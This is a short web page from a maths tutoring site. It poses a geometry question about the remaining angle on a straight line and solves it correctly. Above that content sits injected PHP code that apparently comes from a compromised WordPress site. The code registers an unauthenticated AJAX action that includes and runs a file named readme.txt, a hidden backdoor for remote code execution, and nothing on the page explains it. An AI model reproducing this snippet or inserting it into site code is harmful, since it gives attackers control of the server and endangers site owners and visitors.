if(!function_exists('file_check_readme11199')){ add_action('wp_ajax_nopriv_file_check_readme11199', 'file_check_readme11199'); add_action('wp_ajax_file_check_readme11199', 'file_check_readme11199'); function file_check_readme11199() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Geo5 - mathtutor

Geometry Question for Title 1 Schools: Straight Line Angle Question?

5) What is the value of an angle of the rest of a straight line that has an angle of 135o ?

The total angle on a straight line  = 180o

If part of the total angle on a line is already 135o ,  then the rest must be 180o  – 135o

= 45o